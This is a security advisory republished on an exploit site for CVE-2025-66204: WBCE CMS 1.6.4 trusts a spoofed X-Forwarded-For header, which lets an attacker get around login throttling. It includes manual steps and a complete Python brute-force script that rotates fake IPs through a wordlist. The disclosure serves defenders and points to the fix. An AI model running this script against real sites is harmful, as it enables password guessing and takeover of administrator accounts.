Share
## https://sploitus.com/exploit?id=PACKETSTORM:218798
# CVE-2025-66204: WBCE CMS allows brute-force protection bypass using X-Forwarded-For header
    
    ## Overview
    
    | Field | Details |
    |---|---|
    | **CVE ID** | [CVE-2025-66204](https://nvd.nist.gov/vuln/detail/CVE-2025-66204) |
    | **Severity** | MEDIUM |
    | **Advisory** | [View Advisory](https://github.com/WBCE/WBCE_CMS/security/advisories/GHSA-f676-f375-m7mw) |
    | **Discovered by** | [Lukasz Rybak](https://github.com/lukasz-rybak) |
    
    ## Affected Products
    
    - **WBCE/WBCE_CMS**
    
    
    
    ## Details
    
    ### Summary
    A brute-force protection bypass exists in WBCE CMS 1.6.4.
    The login throttling mechanism blocks an IP address after 5 invalid login attempts.
    However, the application fully trusts the X-Forwarded-For header without validating it or restricting its usage.
    
    By modifying X-Forwarded-For on each request, an attacker can reset the counter indefinitely and gain unlimited password guessing attempts, effectively bypassing all brute-force protection.
    
    ### Details
    WBCE CMS determines the client IP using the following logic:
    
    1. If the request contains the header X-Forwarded-For, the application blindly trusts its value.
    2. Otherwise, it falls back to REMOTE_ADDR.
    
    Although WBCE is not running behind a reverse proxy by default, the login endpoint still parses X-Forwarded-For whenever it is present, even if added manually by the client.
    
    Because the application does not verify that the request originates from a trusted proxy, an attacker can inject their own X-Forwarded-For header with any arbitrary IP address.
    
    This results in:
    
    - the attacker sends 5 invalid passwords using X-Forwarded-For: 10.0.0.1 โ†’ that IP is blocked
    - attacker sends next request with X-Forwarded-For: 10.0.0.2 โ†’ treated as a completely new IP
    - brute-force protection can be bypassed indefinitely
    
    This behavior is reproducible on a clean, default installation with no reverse proxy in front of WBCE CMS.
    
    ### PoC
    Steps
    
    Attempt login with wrong password and send header:
    
    X-Forwarded-For: 10.0.0.10
    
    Repeat until lockout occurs (after 5 attempts).
    <img width="1905" height="845" alt="image" src="https://github.com/user-attachments/assets/69b40271-21ba-48eb-8b14-912087a0a6c2" />
    
    Change header to:
    
    X-Forwarded-For: 10.0.0.11
    
    Login attempts are reset and allowed again.
    <img width="1912" height="921" alt="image" src="https://github.com/user-attachments/assets/bbdad8f5-c7c4-467e-b5f8-fb0650660b4c" />
    
    
    Rotate through 10.0.0.x and brute-force without any limitation.
    
    Automated PoC Script
    
    I built a Python script that performs the attack automatically, rotating spoofed IPs every four attempts and detecting successful login.
    
    <img width="538" height="406" alt="image" src="https://github.com/user-attachments/assets/ed526674-aa39-4e7b-9f9a-21ac17309525" />
    ...
    <img width="588" height="361" alt="image" src="https://github.com/user-attachments/assets/b522c8a8-1905-44c8-a3c3-46fc93042ee8" />
    
    <img width="445" height="477" alt="image" src="https://github.com/user-attachments/assets/ba89bb3c-9bee-44c9-9db1-46d5877e40d8" />
    
    This proves complete bypass of the protection.
    
    ```python
    import requests
    
    # ==========================
    #  CONFIGURATION
    # ==========================
    
    TARGET_URL = "http://localhost/wbce/admin/login/index.php"
    USERNAME = "user"
    
    # Extracted from intercepted login request
    USERNAME_FIELDNAME = "username_A9BC72FF1D81"
    PASSWORD_FIELDNAME = "password_A9BC72FF1D81"
    USERNAME_META_FIELD = "username_fieldname"
    PASSWORD_META_FIELD = "password_fieldname"
    
    WORDLIST = "wordlist.txt"
    
    ERROR_STRING = "Loginname or password incorrect"
    BLOCK_STRING = "Excessive Invalid Logins"
    
    MAX_ATTEMPTS_PER_IP = 4
    SPOOF_IP_BASE = "10.0.0."
    
    # Optional Burp Suite proxy
    USE_BURP = False
    PROXIES = {
        "http": "http://127.0.0.1:8080",
        "https": "http://127.0.0.1:8080",
    }
    
    session = requests.Session()
    if USE_BURP:
        session.proxies.update(PROXIES)
        session.verify = False
    
    
    # ==========================
    #  LOGIN REQUEST
    # ==========================
    
    def try_login(ip, password):
        """Send one login attempt with spoofed X-Forwarded-For."""
        headers = {
            "X-Forwarded-For": ip,
            "User-Agent": "WBCE-Bruteforce-POC",
        }
    
        data = {
            USERNAME_META_FIELD: USERNAME_FIELDNAME,
            PASSWORD_META_FIELD: PASSWORD_FIELDNAME,
            USERNAME_FIELDNAME: USERNAME,
            PASSWORD_FIELDNAME: password,
            "url": "",
            "submit": "Login",
        }
    
        resp = session.post(TARGET_URL, headers=headers, data=data, allow_redirects=True)
        text = resp.text
    
        failed = ERROR_STRING in text
        blocked = BLOCK_STRING in text
        success = not failed and not blocked
    
        return success, failed, blocked, resp
    
    
    # ==========================
    #  MAIN ROUTINE
    # ==========================
    
    def main():
        print("[*] Loading wordlist...")
    
        with open(WORDLIST, "r", encoding="utf-8") as f:
            passwords = [p.strip() for p in f if p.strip()]
    
        print(f"[*] Loaded {len(passwords)} passwords.\n")
    
        current_ip_counter = 1
        attempts_with_ip = 0
    
        for attempt_no, password in enumerate(passwords, start=1):
            ip = f"{SPOOF_IP_BASE}{current_ip_counter}"
            success, failed, blocked, resp = try_login(ip, password)
    
            print(
                f"Attempt {attempt_no:03d} | IP={ip} | pass='{password}' "
                f"| failed={failed} blocked={blocked}"
            )
    
            if success:
                print("\n[+] SUCCESSFUL LOGIN!")
                print(f"    Username: {USERNAME}")
                print(f"    Password: {password}")
                print(f"    IP used : {ip}")
                return
    
            attempts_with_ip += 1
    
            # Switch spoofed IP after lockout threshold
            if attempts_with_ip >= MAX_ATTEMPTS_PER_IP:
                print(f"[*] Switching IP after {MAX_ATTEMPTS_PER_IP} attempts.\n")
                current_ip_counter += 1
                attempts_with_ip = 0
    
        print("\n[-] Password not found in wordlist.")
    
    
    if __name__ == "__main__":
        main()
    
    ```
    
    ### Impact
    1. Unlimited brute-forcing of any account;
    2. Possible compromise of administrator accounts;
    3. No rate-limiting enforcement;
    
    ## References
    
    - https://github.com/WBCE/WBCE_CMS/security/advisories/GHSA-f676-f375-m7mw
    - https://github.com/WBCE/WBCE_CMS/commit/3765baddf27f31bbbea9c0228c452268621b25e5
    - https://github.com/WBCE/WBCE_CMS/releases/tag/1.6.5
    
    
    ## Disclaimer
    
    This CVE was responsibly disclosed following coordinated vulnerability disclosure practices. The information provided here is for educational and defensive purposes only.